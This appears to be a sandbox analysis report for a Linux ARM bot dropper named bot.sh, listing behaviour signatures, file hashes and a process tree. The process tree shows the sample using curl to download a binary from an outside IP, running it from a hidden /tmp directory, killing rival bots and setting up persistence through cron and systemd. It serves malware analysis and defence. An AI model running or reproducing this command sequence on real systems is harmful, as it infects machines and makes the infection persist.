Analysis

  • max time kernel
    124s
  • max time network
    126s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    08/07/2026, 00:17

General

  • Target
    bot.sh
  • Size 22KB
  • Sample260708-alaeesht6r
  • SHA256 6c1aaef872faae9ec1c56d5230d2f9c17e4bee0d95545e2541f8f68ba1d5b9eb
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 2 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bot.sh
    /tmp/bot.sh
    1⤵
    • Executes dropped EXE
    • Modifies systemd
    • Writes file to tmp directory
    PID:646
    • /bin/uname
      uname -m
      2⤵
        PID:651
      • /bin/uname
        uname -s
        2⤵
          PID:656
        • /bin/mkdir
          mkdir -p /tmp/.systemd
          2⤵
            PID:663
          • /usr/bin/touch
            touch /tmp/.systemd/.write_test
            2⤵
            • Writes file to tmp directory
            PID:667
          • /bin/rm
            rm -f /tmp/.systemd/.write_test
            2⤵
              PID:669
            • /usr/bin/curl
              curl -L http://5.175.192.197/bot_armhf -o bot.tmp
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:671
            • /usr/bin/stat
              stat "-c%s" bot.tmp
              2⤵
              • Reads runtime system information
              PID:679
            • /usr/bin/head
              head -c 200 bot.tmp
              2⤵
                PID:680
              • /usr/bin/file
                file bot.tmp
                2⤵
                  PID:681
                • /bin/ls
                  ls -la bot.tmp
                  2⤵
                    PID:682
                  • /usr/bin/file
                    file bot.tmp
                    2⤵
                      PID:683
                    • /usr/bin/file
                      file bot.tmp
                      2⤵
                        PID:684
                      • /bin/grep
                        grep -q ELF
                        2⤵
                          PID:686
                        • /usr/sbin/getenforce
                          getenforce
                          2⤵
                            PID:688
                          • /bin/chmod
                            chmod +x bot.tmp
                            2⤵
                            • File and Directory Permissions Modification
                            PID:689
                          • /bin/ls
                            ls -la bot.tmp
                            2⤵
                              PID:690
                            • /usr/bin/pkill
                              pkill -9 -f bot_
                              2⤵
                              • Reads CPU attributes
                              • Reads runtime system information
                              PID:691
                            • /usr/bin/pkill
                              pkill -9 -f scanner
                              2⤵
                              • Reads CPU attributes
                              • Reads runtime system information
                              PID:692
                            • /usr/bin/killall
                              killall -9 bot
                              2⤵
                              • Reads runtime system information
                              PID:693
                            • /usr/bin/killall
                              killall -9 bot_x86_64
                              2⤵
                              • Reads runtime system information
                              PID:694
                            • /usr/bin/killall
                              killall -9 bot_x86
                              2⤵
                              • Reads runtime system information
                              PID:695
                            • /usr/bin/killall
                              killall -9 bot_arm
                              2⤵
                              • Reads runtime system information
                              PID:696
                            • /bin/sleep
                              sleep 1
                              2⤵
                                PID:697
                              • /bin/mv
                                mv -f bot.tmp bot
                                2⤵
                                  PID:739
                                • /bin/sleep
                                  sleep 3
                                  2⤵
                                    PID:743
                                  • /tmp/.systemd/bot
                                    ./bot
                                    2⤵
                                      PID:742
                                    • /usr/bin/crontab
                                      crontab -
                                      2⤵
                                      • Creates/modifies Cron job
                                      PID:779
                                    • /bin/grep
                                      grep -v bot
                                      2⤵
                                        PID:781
                                      • /usr/bin/crontab
                                        crontab -l
                                        2⤵
                                        • Reads runtime system information
                                        PID:780
                                      • /bin/cat
                                        cat
                                        2⤵
                                          PID:782
                                        • /bin/systemctl
                                          systemctl daemon-reload
                                          2⤵
                                          • Enumerates kernel/hardware configuration
                                          PID:783
                                        • /bin/systemctl
                                          systemctl enable bot.service
                                          2⤵
                                          • Enumerates kernel/hardware configuration
                                          PID:796

                                      Network

                                            MITRE ATT&CK Enterprise v16

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                                            Downloads

                                            bot.tmp

                                            • Path /tmp/.systemd/bot.tmp
                                            • Size 707KB
                                            • SHA256 82950f57de0015f1353bdde0bd623d5db8198f93e912a2d43aa492ea62b60bcf
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            sh-thd.WHTQZD

                                            • Path /tmp/sh-thd.WHTQZD
                                            • Size 211B
                                            • SHA256 fef4caf2b72bc36ce18142b4bdf96a27eb77a35befa78fcb00e24a3710ea4c13
                                            • MD5 SHA1 SHA512 TLSH

                                            tmp.PzaIgB

                                            • Path /var/spool/cron/crontabs/tmp.PzaIgB
                                            • Size 228B
                                            • SHA256 ec7e152ff897a5d0ed1c934930da16077ed512a2e14a0ae6d8a129f50e8fa9e2
                                            • MD5 SHA1 SHA512 TLSH